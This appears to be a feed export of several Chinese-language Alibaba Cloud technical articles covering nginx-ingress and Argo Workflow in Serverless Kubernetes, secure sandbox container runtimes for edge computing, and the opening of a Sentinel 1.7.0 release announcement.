        不同于阿里云ACK集群默认通过nginx-ingress-controller提供ingress能力,在ASK(Serverless Kubernetes)集群中默认基于SLB七层转发提供ingress能力(请参考文档https://help.aliyun.com/document_detail/86398.html)。这样的优势是Serverless集群开箱即用,用户无需部署任何controller即可创建自己的Ingress资源,更符合Serverless环境的用法。

        然而基于SLB七层转发的ingress与nginx-ingress-controller相比,缺少了一些高级Ingress功能,无法满足某些客户场景的需求,比如支持域名path的正则匹配等。

        所以ASK集群也提供了与ACK集群同样的nginx-ingress-controller,供用户使用nginx提供的ingress转发能力。用户可以根据自己的需求决定选择两者之一。下面我们一起来尝试在ASK集群中使用nginx-ingress。

        部署nginx-ingress-controller

        在ASK集群中部署yaml文件:
        https://github.com/AliyunContainerService/serverless-k8s-examples/blob/master/ingress-nginx/nginx-ingress-controller.yaml

        #kubectl apply -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/nginx-ingress-controller.yaml
        service/nginx-ingress-lb created
        configmap/nginx-configuration created
        configmap/tcp-services created
        configmap/udp-services created
        serviceaccount/nginx-ingress-controller created
        clusterrole.rbac.authorization.k8s.io/nginx-ingress-controller created
        clusterrolebinding.rbac.authorization.k8s.io/nginx-ingress-controller created
        deployment.apps/nginx-ingress-controller created
        
        # kubectl -n kube-system get pod
        NAME                                       READY   STATUS    RESTARTS   AGE
        nginx-ingress-controller-c9d8697f6-n4bzs   0/1     Running   0          52s
        nginx-ingress-controller-c9d8697f6-p8p6j   0/1     Running   0          52s
        
        # kubectl -n kube-system get svc
        NAME               TYPE           CLUSTER-IP     EXTERNAL-IP    PORT(S)                      AGE
        metrics-server     ClusterIP      172.19.4.171   <none>         443/TCP                      72d
        nginx-ingress-lb   LoadBalancer   172.19.6.118   47.93.131.72   80:32676/TCP,443:30256/TCP   116s

        可以看到一个公网slb已经被创建出来(后端是两个nginx-ingress-controller pod),这是集群中所有ingress的入口IP地址。

        部署Ingress示例

        我们同样提供了简单的Coffee和Tea Ingress示例:https://github.com/AliyunContainerService/serverless-k8s-examples/blob/master/ingress-nginx/ingress-cafe-demo.yaml

        需要注意的是Ingress中需要指定如下Annotation,才能保证ingress被nginx-ingress-controller正确处理。
        kubernetes.io/ingress.class:nginx

        # kubectl apply -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/ingress-cafe-demo.yamldeployment.extensions/coffee created
        service/coffee-svc created
        deployment.extensions/tea created
        service/tea-svc created
        ingress.extensions/cafe-ingress created
        
        # kubectl get pod
        NAME                             READY   STATUS             RESTARTS   AGE
        coffee-56668d6f78-g7g6p          1/1     Running            0          88s
        coffee-56668d6f78-x9ktc          1/1     Running            0          88s
        tea-85f8bf86fd-477d2             1/1     Running            0          88s
        tea-85f8bf86fd-jlq6b             1/1     Running            0          88s
        tea-85f8bf86fd-p4ng4             1/1     Running            0          88s
        
        # kubectl get svc
        NAME         TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)    AGE
        coffee-svc   ClusterIP   None            <none>        80/TCP     102s
        kubernetes   ClusterIP   172.19.0.1      <none>        443/TCP    72d
        tea-svc      ClusterIP   None            <none>        80/TCP     102s
        
        # kubectl get ing
        NAME           HOSTS              ADDRESS        PORTS   AGE
        cafe-ingress   cafe.example.com   47.93.131.72   80      2m1s

        pod和ingress都已创建成功,下面我们尝试访问Ingress:

        # curl -H "Host:cafe.example.com" 47.93.131.72/tea
        Server address: 192.168.55.159:80
        Server name: default-tea-85f8bf86fd-p4ng4
        Date: 14/Nov/2019:09:01:46 +0000
        URI: /tea
        Request ID: 2c3a87eb89130d62664b640fcbabc74b
        
        # curl -H "Host:cafe.example.com" 47.93.131.72/coffee
        Server address: 192.168.55.156:80
        Server name: default-coffee-56668d6f78-x9ktc
        Date: 14/Nov/2019:09:01:49 +0000
        URI: /coffee
        Request ID: a4f1d84bb5288a260ecfc5d21ecccff6

        Ingress链路访问成功,可以看到上述域名转发由nginx ingress controller完成。

        当运行上述示例成功后,记得清理集群中的ingress:
        kubectl delete -f https://raw.githubusercontent.com/AliyunContainerService/serverless-k8s-examples/master/ingress-nginx/ingress-cafe-demo.yaml

        更多ASK集群示例请参考:https://github.com/AliyunContainerService/serverless-k8s-examples

        ]]>
        在Serverless Kubernetes集群中轻松运行Argo Workflow Fri, 02 May 2025 09:39:04 +0800 导读

        Argo是一个基于kubernetes实现的一个Workflow(工作流)开源工具,基于kubernetes的调度能力实现了工作流的控制和任务的运行。
        目前阿里云容器服务ACK集群中已经支持工作流的部署和调度,这里我们介绍如果在ASK(Serverless Kubernetes)集群中使用Argo,无需预留节点资源池,即可灵活动态的运行工作流任务,并最大化节省用户的计算成本。

        前置条件:

        部署argo workflow controller

        # ags install
        
        # kubectl -n argo get pod
        NAME                                   READY   STATUS    RESTARTS   AGE
        argo-ui-5c5dbd7d75-hxqfd               1/1     Running   0          60s
        workflow-controller-848cf55b64-6pzc9   1/1     Running   0          60s
        
        # kubectl -n argo get configmap
        NAME                            DATA   AGE
        workflow-controller-configmap   0      4m55s

        argo默认使用docker executor api,在serverless集群中我们需要切换成k8sapi才能正常工作。

        # kubectl -n argo edit configmap workflow-controller-configmap
        apiVersion: v1
        kind: ConfigMap
        ...
        data:
          config: |
            containerRuntimeExecutor: k8sapi

        运行Hello-World Workflow示例

        下面我们运行Hello-World example:https://github.com/argoproj/argo/blob/master/examples/hello-world.yaml

        # ags submit https://raw.githubusercontent.com/argoproj/argo/master/examples/hello-world.yaml
        Name:                hello-world-l26sx
        Namespace:           default
        ServiceAccount:      default
        Status:              Pending
        Created:             Fri Nov 15 14:45:15 +0800 (now)
        
        # kubectl get pod
        NAME                READY   STATUS      RESTARTS   AGE
        hello-world-l26sx   0/2     Completed   0          88s
        
        # ags list
        NAME                STATUS      AGE   DURATION   PRIORITY
        hello-world-l26sx   Succeeded   1m    1m         0

        当我们需要使用大规格资源来运行workflow时,可以在workflow中给pod指定anntation。

        注意此情况不要在container中指定大规格requests/limits,因为argo生成的pod中包含多个container,给单个container指定大规格的requests/limits会导致eci无法给pod分配匹配的资源,进而导致创建失败。我们推荐给pod指定ecs规格或者cpu/mem保证pod正常运行,如下。

        apiVersion: argoproj.io/v1alpha1
        kind: Workflow
        metadata:
          generateName: hello-world-
        spec:
          entrypoint: whalesay
          templates:
          - name: whalesay
            metadata:
              annotations:
                k8s.aliyun.com/eci-instance-type : "ecs.ic5.3xlarge"
            container:
              image: docker/whalesay:latest
              command: [cowsay]
              args: ["hello world"]

        结束

        当运行结束后,可以清理workflow资源。

        # ags delete hello-world-l26sx
        Workflow 'hello-world-l26sx' deleted
        
        # kubectl get pod
        No resources found.

        我们可以看到,因为ASK集群天然无需管理节点资源池,所有pod按需创建,很好的匹配了Argo工作流的任务形态,灵活动态的按需分配计算资源,更好的节省成本。

        ]]>
        安全容器在边缘计算场景下的实践 Fri, 02 May 2025 09:39:04 +0800 导读:随着云计算边界不断向边缘侧延展,传统 RunC 容器已无法满足用户对不可信、异构工作负载的运行安全诉求,边缘 Serverless、边缘服务网格等更是对容器安全隔离提出了严苛的要求。本文将介绍边缘计算场景如何构建安全运行时技术基座,以及安全容器在架构、网络、监控、日志、存储、以及 K8s API 兼容等方面的遇到的困难挑战和最佳实践。 

        正文:

        本文主要分为四个部分,首先前两个部分会分别介绍一下ACK安全沙箱容器和边缘容器(Edge Kubernetes),这两个方向内容目前大部分人接触并不是很多。第三部着重分享安全沙箱容器在边缘这边的解决方案与实践经验,最后会介绍一下我们在安全容器方向新的探索和实践-可信/机密计算。

        安全容器运行时

        据 Gartner 预测,2019 年一半以上的企业会在其开发和生产环境中使用容器部署应用,容器技术日趋成熟稳定,然而在未容器化的企业或用户中,42% 以上的受访者表示容器安全成为其容器化的最大障碍之一,主要包括容器运行时安全、镜像安全和数据安全加密等。

        端到端的云原生安全架构

        image.png

        在讲安全沙箱容器之前简单介绍下端到端云原生安全架构,主要分为三部分:

        1.基础架构安全

        基础架构安全依赖于云厂商或者是专有云一些基础设施安全能力,也包括 RAM认证,细粒度RAM授权,支持审计能力等等。

        2.安全软件供应链

        这部分包括镜像签名,镜像扫描,安全合规等等,甚至包括有一些静态加密BYOK,DevSecOps,安全分发等。

        3.容器运行时的安全

        这部分包括安全沙箱隔离,还包括了容器运行时其它方面一些安全机制,如KMS(秘钥管理服务)集成、多租户的管理和隔离等等。

        安全容器运行时对比

        image.png

        接下来分享下业界在安全容器运行时的一些方案对比,业界安全容器运行时分为四大类:

        • OS容器+安全机制

        主要原理是在传统 OS 容器之上增加一些辅助安全辅助手段来增加安全性,如SELinux、AppArmor、Seccomp等,还有docker 19.03+可以让Docker运行在 Rootless 的模式之下,其实这些都是通过辅助的工具手段来增强OS容器的安全性,但依然没有解决容器与Host共享内核利用内核漏洞逃逸带来的安全隐患问题;而且这些安全访问控制工具对管理员认知和技能要求比较高,安全性也相对最差。

        • 用户态内核   

        此类典型代表是 Google 的 gVisor,通过实现独立的用户态内核去补获和代理应用的所有系统调用,隔离非安全的系统调用,间接性达到安全目的,它是一种进程虚拟化增强。但系统调用的代理和过滤的这种机制,导致它的应用兼容性以及系统调用方面性能相对传统OS容器较差。由于并不支持 virt-io 等虚拟框架,扩展性较差,不支持设备热插拔。

        • Library OS

        基于 LibOS 技术的这种安全容器运行时,比较有代表 UniKernel、Nabla-Containers,LibOS技术本质是针对应用对内核的一个深度裁剪和定制,需要把 LibOS 与应用编译打包在一起。因为需要打包拼在一起,本身兼容性比较差,应用和 LibOS 的捆绑编译和部署为传统的 DevOPS 带来挑战。

        • MicroVM

        我们知道业界虚拟化(机)本身已经非常的成熟,MicroVM轻量虚拟化技术是对传统虚拟化的裁剪和,比较有代表性的就是 Kata-Containers、Firecracker,扩展能力非常优秀。VM GuestOS 包括内核均可自由定制,由于具备完整的OS和内核它的应用兼容性及其优秀;独立内核的好处是即便出现安全漏洞问题也会把安全影响范围限制到一个 VM 里面,当然它也有自己的缺点,Overhead 可能会略大一点,启动速度相对较慢一点。

        完全杜绝安全问题的发生-不可能!

        Linus Torvalds 曾在 2015年的 LinuxCon 上说过 "The only real solution to security is to admit that bugs happen, and then mitigate them by having multiple layers.” ,我们无法杜绝安全问题,软件总会有 Bug、Kernel 总会有漏洞,我们需要去面对这些现实问题,既然无法杜绝那我们需要就给它(应用)加上隔离层(沙箱)。

        安全容器运行时选择

        用户选择安全容器运行时需要考虑三方面:安全隔离、通用性以及资源效率。

        image.png

        • 安全隔离

        主要包括安全隔离和性能隔离。安全隔离主要是安全问题影响的范围,性能隔离主要是降低容器间的相互干扰和影响。

        • 通用性

        通用性,首先是应用兼容性,应用是否可以在不修改或者小量修改的前提下运行在上面;其次是标准性兼容,包括 OCI 兼容、K8sAPI 兼容等;最后“生态”保证它可持续性和健壮性。

        • 资源效率

        资源效率讲究更低 Overhead,更快的启动速度,更好的应用性能。

        总结

        其实目前没有任何一种容器运行时技术可以同时满足以上三点,而我们需要做的就是根据具体的场景和业务需求合理选择适合自己的容器运行时

        在「资源效率」和「通用性」做的比较好的是传统的OS容器、runC等,但安全性最差;在「资源效率」和「安全隔离」做的比较好的是 UniKernel、gVisor 等,但应用兼容和通用性较差;在「安全隔离」和「通用性」方面做的比较的是 Kata-containers、Firecracker等,但 overhead 开销稍大启动速度稍慢,应用性能也相对传统OS容器较差。

        ACK安全沙箱容器

        我们阿里云容器服务 ACK 产品基于 Alibaba Cloud Sandbox 技术在 2019 年 09 月份推出了安全沙箱容器运行时的支持,它是在原有Docker容器之外提供的一种全新的容器运行时选项,它可以让应用运行在一个轻量虚拟机沙箱环境中,拥有独立的内核,具备更好的安全隔离能力,特别适合于多租户间负载隔离、对不可信应用隔离等场景。它在提升安全性的同时,对性能影响非常小,并且具备与Docker容器一样的用户体验,如日志、监控、弹性等。

        image.png

        对于我们场景来说,「安全性」和「通用性」是无疑最重要的,当然性能和效率我们也做了大量的优化:

        • 轻量虚拟机沙箱;
        • 独立 kernel,强隔离,安全故障域影响最小;
        • 兼容 OCI 标准,几乎兼容所有 K8s API;
        • 约 25 MB 的极低 Overhead 开销;
        • 500ms 极速启动,拥有原生传统OS容器约 90% 的优秀性能;
        • 适合多租负载隔离、不可信三方应用隔离、多方计算、Serverless 等场景。

        ACK边缘容器(ACK@Edge)

        随着万物互联时代的到来,智慧城市、智能制造、智能交通、智能家居,5G时代、宽带提速、IPv6的不断普及,导致数百亿的设备接入网络,在网络边缘产生ZB级数据,传统云计算难以满足物联网时代大带宽、低时延、大连接的诉求,边缘云计算便应运而生。

        边缘计算设施服务越来越难以满足边端日益膨胀的诉求,因而云上服务下沉,边缘 Serverless、边缘侧隔离不可信负载等日趋强烈...

        所以,为了满足我们边缘云计算场景需求,我们 ACK 推出了 Kubernetes 边缘版。

        image.png

        先来看下典型的边缘云模型,它由云(侧)、边(侧)、端(侧)三部分共同组成,三者相互协同,并提供统一的交付、运维和管控标准。云侧统一管控,是整个模型的中枢大脑;边侧由一定计算/存储能力的节点组成,是距离设备和用户最近的计算/存储资源;亿万端侧设备就近计入“边缘节点”。

        “边”又分为两大类;一个是工业级的边,这类比较典型代表是云厂商提供的 CDN 节点计算资源、服务或者 Serverless 等,工业级的边也可提供 AI 预测、实时计算、转码等服务能力,把云上的服务下沉到边侧。第二类是用户或者工厂、园区、楼宇、机场等自己提供计算资源服务器或者网关服务器,如一个家庭网关可以作为边缘节点接入到集群中从而可以纳管控制家庭中的智能电器设备。
        
        那边缘 Serverless 如何解决多租户负载隔离?工程如何在自己的内网环境安全运行三方提供的应用服务和负载?这也就是我们在边缘侧引入安全沙箱容器的根本原因。
        

        解决方案

        整体方案

        image.png

        先看下整体解决方案,上面架构完全契合了“云-边-端”模型,我们整个架构是基于 Kubernetes 来开发的。

        “云侧”,既“管控端”,提供了整个 K8s 集群的统一管控,托管了 K8s 集群“四大件(master组件)”:kube-apiserver、kube-controller-manager、kube-scheduler以及 cloud-controller-manager,同时我们在“云侧为”增加了 AdminNode 节点用户部署 Addons 组件,如 metrics-server、log-controller 等非核心功能组件;当然,“云侧”也会适配云上的各类服务为自己附能,如监控服务、日志服务、存储服务等等。

        “边侧”,既边缘Node节点,我们知道“云侧”到“边侧”的弱网会导致边缘Node失联,失联时间过长会导致 Master 对节点上的 Pod 发出驱逐指令,还有断网期间“边缘节点”主机重启后应用如何恢复和自治,这些都是 Edge Kubernetes 面临的最大挑战之一;当在 K8s 引入安全沙箱容器运行时,会发现 K8s Api 不兼容、部分监控异常、日志无法正常采集、存储性能极差等诸多问题,都给我们带来了极大的挑战。

        在分享解决以上问题前,我们先看下云侧安全沙箱容器方案。

        image.png

        上图橙色虚框内是节点运行时的组件分层结构,上面是 kubelet,CRI-Runtime 有 Docker 和 Containerd 两类,其中安全沙箱容器运行时方案(深蓝色背景部分)中我们选择了 Containerd 作为 CRI-Runtime,主要考虑到 Containerd 的结构简洁,调用链更短,资源开销更小,而且它具有及其灵活的多 Runtimes 支持,扩展能力也更优。

        我们在一个“安全沙箱节点”上同时提供了 RunC 和 RunV 两种运行时的支持,同时在 K8s 集群中对应的注入了两个 RuntimeClass( runc 和 runv )以便轻松轻易按需调度和选择,“同时提供 RunC 支持” 也是考虑到诸如 kube-proxy 等 Addon 组件没必要运行在安全沙箱中。

        OS 我们选择了阿里云的发行版 OS:Aliyun Linux,4.19+ 的 Kernel 对容器的兼容性更优、稳定性更好,同时我们对其进行了极少的定制,以便支持硬件虚拟化。

        最下面运行就是我们的裸金属服务器,在云上我们提供了神龙,在边缘侧任何支持硬件虚拟化的裸金属服务器均可。

        边缘接节点治理

        问题

        1. K8s 管控端与边缘节点断网维护,如工厂封网内部设备维护等,超过 Pod 容忍时间(默认300s)后会导致管控端发出“驱逐失联节点上所有 Pods”指令,在维护结束网络恢复后,边缘节点收到驱逐指令删除所有应用 Pod,这对于一个工厂来说是灾难性的。
        2. 在封(断)网期间边缘节点硬件重启,就会导致节点上依赖管控端(如 kube-apiserver)的部分组件或数据无法正常启动或载入。

        常见社区方案

        社区方案一:

        image.png

        主要原理是基于 kubelet checkpoint 机制把一些资源对象缓冲到本地文件,但 kubelet checkpoint 能力较弱,仅可以魂村 pod 等个别类型对象到本地文件,像常用的 ConfigMap/Secret/PV/PVC 等暂不支持。当然也可以定制修改 kubelet,但后期会带来的大量的升级和维护成本。

        社区方案二:

        image.png

        利用集群联邦,把整个 K8s 集群下沉到边缘侧,如每个 EdgeUnit 存在一个或多个 K8s 集群,通过云侧的 K8s Federation 进行多集群/负载管理。但因为 EdgeUnit 分散性且规模较大庞大,会导致集群规模数倍增加,产生大量的 Overhead 成本,很多 EdgeUnit 内通常仅有几台机器。而且这种架构也比较复杂,难以运维,同时,边缘K8s集群也很难复用云上成熟服务,如监控、日志等。 

        我们的方案

        image.png

        如上图,在我们的边缘治理方案中,我们增加了两个非常重要的组件:

        • ECM(edge-controller-manager):节点自治管理,忽略自治模式节点上的 Pod 驱逐等。

          • 基于 node-lifecycle-controller;
          • 通过 Annotation 配置开关,表示节点是否开启自治模式;
          • 对于自治模式的节点,当节点失联(NotReady等)时忽略对节点上容忍超时的 Pod 驱逐。
        • EdgeHub:边缘节点代理

          • 作为 kubelet 和 apiserver 之间的缓存和代理;
          • 在网络正常情况下,EdgeHub直接代理转发 Kubelet 请求到 apiserver,并缓存结果到本地;
          • 在节点断网的情况下,EdgeHub 利用本地缓存充当 apiserver,但 EdgeHub并未真正的 apiserver,所以须忽略所有过来的写操作请求。

        监控方案

        image.png

        上图为整个监控的原理图,流程是:

        1. metrics-server 定期主动向所有节点 kubelet 请求监控数据;
        2. kubelet 通过 CRI 接口向 containerd 请求监控数据;
        3. containerd 通过 Shim API 向所有容器 shim 请求容器的监控数据;

          1. Shim API 目前有两个版本 v1 和 v2。
          2. containerd-shim-kata-v2 通过虚拟串口向 VM GuestOS(POD) 内的 kata-agent 请求监控数据,kata-agent 采集 GuestOS 内的容器监控数据并响应。
          3. 我们 runC shim 用的是 containerd-shim,这个版本虽然比较老,但稳定性非常好,经过大量的生产验证。
        4. metrics-server 把监控数据除了 Sink 到云监控上外,自己内存中还存放了最近一段时间的监控数据,用于提供给 K8s Metrics API,这些数据可用于 HPA 等。

        我们遇到的问题是 CRI ContainerStats 接口提供的监控指标非常少,缺失了 Network、Block IO等非常重要的API,并且已有的 CPU 和 Memory 的数据项也及其少。

        // ContainerStats provides the resource usage statistics for a container.
        message ContainerStats {
            // Information of the container.
            ContainerAttributes attributes = 1;
            // CPU usage gathered from the container.
            CpuUsage cpu = 2;
            // Memory usage gathered from the container.
            MemoryUsage memory = 3;
            // Usage of the writeable layer.
            FilesystemUsage writable_layer = 4;
        }
        
        // CpuUsage provides the CPU usage information.
        message CpuUsage {
            // Timestamp in nanoseconds at which the information were collected. Must be > 0.
            int64 timestamp = 1;
            // Cumulative CPU usage (sum across all cores) since object creation.
            UInt64Value usage_core_nano_seconds = 2;
        }
        
        // MemoryUsage provides the memory usage information.
        message MemoryUsage {
            // Timestamp in nanoseconds at which the information were collected. Must be > 0.
            int64 timestamp = 1;
            // The amount of working set memory in bytes.
            UInt64Value working_set_bytes = 2;
        }

        那如何补齐监控API?由于我们有着庞大的存量集群,我们的改动既不能影响已有的用户监控,也不能对整个监控设施方案做大的改动,所以改动尽量在靠近底层的地方做适配和修改,我们最终决定定制 kubelet,这样整个监控基础设施不需要做任何变更。

        下面是 kubelet 具体修改的原理图:

        image.png

        kubelet 的监控接口分为三大类:

        1. summary 类,社区后面主推接口,有Pod语义,既可以适配 CRI Runtime 也可以兼容 Docker。

          1. /stats/summary。
        2. default 类,较老的接口,无Pod语义,社区会逐渐废弃此类接口。

          1. /stats
          2. /stats/container
          3. /stats/{podName}/{containerName}
          4. /stats/{namespace}/{podName}/{uid}/{containerName}
        3. prometheus类,prometheus格式的接口,实际上后端实现复用了 default 类的方法。

          1. /metrics
          2. /metrics/cadvisor

        为了更好的兼容,我们对三类接口均进行了适配。上图红色部分为新增,黄色虚框部分为修改。

        1. summary 类

        新增为 containerd 专门实现了接口 containerStatsProvider :containerdStatsProvider,因 kubelet 通过 CRI 连接 containerd,故 containerdStatsProvider 在实现上复用了 criStatsProvider, 同时增加了 Network、Block IO 等。

        1. default 类和 prometheus 类

        在入口处增加判断分支,若为 containerd 则直接通过 contaienrdStatsProvider 拿数据。

        实际上,只修改 kubelet 还不够,我们发现 containerd 后端返回的监控数据也没有 Network、Block IO等,所以我们推动了社区在 containerd/cgroups 扩展补齐了API。

        日志方案

        image.png

        上图是我们的日志方案,我们需要通过阿里云日志采集 Agent Logtail 采集容器日志,主要有三种使用方式:

        1. DaemonSet 部署的 Logtail

          1. 采集节点上所有容器的标准输出。
          2. 通过容器环境变量配置的容器内的采集日志路径,在宿主机上拼接容器的 rootfs 路径,可在宿主机上直采容器内日志文件。
        2. Sidecar 部署的 Logtail

          1. 只采集同 Pod 内的其他应用容器日志文件。

        我们在containerd/安全沙箱容器遇到的问题:

        1. Logtail 需要连接容器引擎获取主机上的所有容器信息,但只支持docker,不支持 containerd。
        2. 所有 runC 和 runV 容器标准输出无法采集。
        3. Logtail DaemonSet 模式无法直采 runC 和 runV 内。 

        解法:

        1. 支持 containerd,同时考虑到通用性,我们在实现上通过 CRI 接口而非 containerd SDK 直接连接 containerd,这样即便以后换了其他 CRI-Runtime,我们 Logtail 可以轻易直接支持。
        2. 通过 Container Spec 获取容器标准输出日志路径,由于如论 runC 还是 runV 容器的标准输出文件均在 Host 上,所以只要找到这个路径可以直接采集。
        3. 在 runC 的日志文件路径查找上,我们做了个优化:优先尝试查找 Upper Dir,否则查找 devicemapper 最佳匹配路径,由于 runV 有独立 kernel 无法在 Host 侧直采容器内日志文件。由于 runV 容器和 Host 内核不再共享,导致无法在 Host 上直接采集 runV 容器内的日志文件。 

        存储方案   

        安全沙箱容器存储方案涉及到两方面,分别是 RootFS 和 Volume。

        • RootFS 可以简单的理解为容器的“系统盘”,每一个容器均有有一个 RootFS,目前主流的 RootFS 有 Overlay2、Devicemapper 等;
        • Volume 可以简单的理解为容器的“数据盘”,可以为容器用来作为数据存储扩展。

        RootFS

        image.png

        对于安全沙箱容器场景中容器 RootFS 我们并没有采用默认的 overlayfs,主要是因为 overlayfs 属于文件目录类,在 runC 把 rootfs 目录 mount bind 到容器内没有任何问题,但在 安全沙箱容器 kata 上直接 mount bind 到容器内会经过 kata 的 9pfs,会导致 block io 性能下降数十倍,所以 我们采⽤ devicemapper 构建了⾼速、稳定的容器 Graph Driver,由于 devicemapper 的底层基于 LVM,为每个容器分配的 dm 均为一个 block device,把这个设备放入容器内就可以避免了 kata 9pfs 的性能影响,这样就可以实现一个功能、性能指标全⾯对⻬ runC 场景的 RootFS。

        优点/特点:

        1. 采用 devicemapper snapshot 机制,实现镜像分层存储;
        2. IOPS、Bandwidth 与 RunC overlayfs + ext4 基本持平;
        3. 基于 snapshot 增强开发,实现容器镜像计算和存储的分离。

        Volume

        image.png

        在容器的存储上,我们采用了标准的社区存储插件 FlexVolume 和 CSI Plugin,在云上支持云盘、NAS 以及 OSS,在边缘我们支持了 LocalStorage。

        FlexVolume 和 CSI Plugin 在实现上,默认均会将云盘、NAS 等先挂载到本地目录,然后 mount bind 到容器内,这在 runC 容器上并没有任何问题,但在安全沙箱容器中,由于过 9PFS 所以依然严重影响性能。

        针对上面的性能问题,我们做了几方面的优化:

        • 云上

          • NAS

            • 优化 FlexVolume 和 CSI Plugin,针对沙箱(runV) Pod,把 mount bind 的动作下沉到沙箱 GuestOS 内,从而避开了 9PFS;而对 runC Pod 保持原有默认的行为。
          • 云盘或本地盘

            • 云盘或本地盘会在本地依然格式化,但不会 mount 到本地目录,而是直接把 block device 直通到沙箱中,由沙箱中的 agent 执行挂载动作。
        • 边缘

          • 在边缘侧,我们采用了 Virtio-fs 避开 9PFS 的问题,这种方式更通用,维护起来也更轻便,在性能上基本可以满足边缘侧的需求,当然无法和“云上直通”优化的性能好。

        网络方案

        image.png

        在网络方案中,我们同样既需要考虑“云上”和“边缘”,也需要考虑到“通用性”和“性能”,在 K8s 中还需要考虑到网络方案对 “容器网络” 和 “Service 网络” 的兼容性。

        如上图,我们的网络方案中虽然有三种方案。

        1. Bridge 桥接模式
        2. 网卡直通模式
        3. IPVlan 模式

        Birdge桥接模式

        桥接模式属于比较老的也比较成熟的一种网络方案,它的优点就是通用性比较好,架构非常稳定和成熟,缺点是性能较差,特点是每个 Pod 都需要分配 Veth Pair,其中一端在 Host 测,一端在容器内,这样所有容器内的进出流量都会通过 Veth Pair 回到 Host,无需修改即可同时完美兼容 K8s 的容器网络和 Service 网络。目前这种方案主要应用于云上的节点。

        网卡直通模式

        顾名思义,就是直接把网卡设备直通到容器内。在云上和边缘由于基础网络设施方案不通,在直通方面略有不同,但原理是相同的。

        • 云上,主要用来直通 ENI 弹性网卡到每个 Pod 内。
        • 边缘,边缘网络方案基于 SR-IOV,所以主要用来直通 VF 设备。

        直通方案的优点是,最优的网络性能,但受限于节点 ENI 网卡 或 VF 设备数量的限制,一般一台裸金属服务商只能直通 二三十个 Pod,Pod密度较低导致节点资源浪费。

        IPVlan模式

        IPVlan 是我们下一代网络方案,整体性能高于 Bridge 桥接模式,建议内核版本 4.9+,缺点是对 K8s Service 网络支持较差,所以我们在内核、runtime 以及网络插件上做了大量的优化和修复。目前 IPVlan 网络模式已在灰度中,即将全域开放公测。

        网络性能对比

        下图是各个方案网络性能对比:

        Ping 时延 带宽(128B) 带宽(1024B) TCP_RR UDP_RR
        Host 100% 100% 100% 100% 100%
        网卡直通 100% 100% 100% 98% 92%
        Bridge 140% 82% 80% 77% 75%
        IPVlan 121% 81% 85% 80% 78%

        总结

        从 Ping 时延、不同带宽、TCP_RR 和 UDP_RR 多个方面同时对比了这几种网络方案,Host作为基准。可以看出,直通网卡的性能可以做到接近host的性能,ipvlan和bridge与直通网卡方式有一定差距,但前两者通用性更好;总体来说 ipvlan 比 bridge 性能普遍更好。

        另外,表中 Ping 时延的相对百分比较大,但实际上从数值差距来说只有零点零几毫秒差距。

        注:以上为内部数据测试结果,仅供参考。

        多运行时(RuntimeClass)调度

        Kubernetes 从 1.14.0 版本开始引入了 RuntimeClass API,通过定义 RuntimeClass 对象,可以很方便的通过 pod.Spec.runtimeClassName 把 pod 运行在指定的 runtime 之上,如 runc、runv、runhcs等,但是针对后续不同的 K8s 版本,对 RuntimeClass 调度支持不同,主要分为两大阶段。

        1.14.0 <= Kubernetes Version < 1.16.0

        image.png

        apiVersion: node.k8s.io/v1beta1
        handler: runv
        kind: RuntimeClass
        metadata:
        name: runv
        ---
        apiVersion: v1
        kind: Pod
        metadata:
            name: my-runv-pod
        spec:
            runtimeClassName: runv
            nodeSelector:
                runtime:  runv
            # ...

        低于 1.16.0 版本的 K8s 调度器不支持 RuntimeClass,需要先给节点打上运行时相关的 Label,然后再通过 runtimeClassName 配合 NodeSelector 或 Affinity 完成。

        Kubernetes Version >= 1.16.0

        从 K8s 1.16.0 版本开始,对 RuntimeClass 调度的支持得以改善,但从实现上,并不是在 kube-scheduler 的新增对 RuntimeClass 支持的算法,而是在 RuntimeClass API 上新增了 nodeSlector 和 tolerations,此时用户的 pod 上只需要指定 runtimeClassName 而无需指定 nodeSelector 或 affinity, kube-apiserver 的 Admission WebHook 新增了 RuntimeClass 的 Mutating,可以自动为 pod 注入 pod.spec.runtimeClassName 所关联的 RuntimeClass 对象里配置的 nodeSelector 和 tolerations ,从而间接地支持调度。

        image.png

        同时,由于很多新的运行时(如 安全沙箱)自身有 overhead,会占用一定的内存和CPU,所以 RuntimeClass API 上新增了 overhead 用于支持此类场景,这部分资源在 Pod 的调度上也会被 kube-scheduler 计算。

        参考:
        • runtimeclass issue:https://github.com/kubernetes/enhancements/pull/909
        • runtimeclass kep:https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/runtime-class-scheduling.md (已加入1.16.0)
        • pod-overhead: https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/20190226-pod-overhead.md

        新探索-可信/机密计算

        image.png

        很多用户考虑到成本、运维、稳定性等因素去上云,但往往因为对公有云平台安全技术担忧以及信任,很多隐私数据、敏感数据对云“望而却步”;往往现有的安全技术可以帮我们解决存储加密、传输过程中的加密,但无法做到应用运行过程的加密,这些数据在内存中是明文的,入侵者或者云厂商有能力从内存窥探数据。就是在这种背景下,可信/机密计算应运而生,它是基于软硬件技术,为敏感应用/数据在内存中创建一块 Encalve(飞地),它是一块硬件加密的内存,任何其他的应用程序、OS、BIOS、其他硬件甚至云厂商均无法解密这部分内存数据。

        image.png

        在此背景下,我们联合了多个团队,在 ACK 上研发了基于 Intel SGX 硬件加密的 TEE 运行时,可让用户的应用的跑在一个更加安全、可信的运行时环境中,帮助更多的用户破除上云的安全障碍,我们也将在 2020年Q1进行公测。

        ]]>
        Sentinel 1.7.0 发布,支持 Envoy 集群流量控制 Fri, 02 May 2025 09:39:04 +0800 流控降级中间件 Sentinel 1.7.0 版本正式发布,引入了 Envoy 集群流量控制支持、properties 文件配置、Consul/Etcd/Spring Cloud Config 动态数据源适配等多项新特性与改进。详细特性列表请参考 Release Notes,欢迎大家使用并提出建议。

        下面我们来一起探索一下 Sentinel 1.7.0 的重要特性。

        Envoy 集群流量控制

        Envoy 目前广泛用作 Service Mesh 的数据平面,作为 sidecar 承担路由和流量转发等任务。在 Service Mesh 中集群流量控制是保障整个集群稳定性必不可少的一环,因此 Sentinel 1.7.0 提供了 Envoy Global Rate Limiting gRPC Service 的实现 —— Sentinel RLS token server,借助 Sentinel 集群限流 token server 来为 Envoy 服务网格提供集群流量控制的能力。
        68639837_d2266980_0540_11ea_8997_05084e2e47bb

        Envoy RLS Sentinel overview

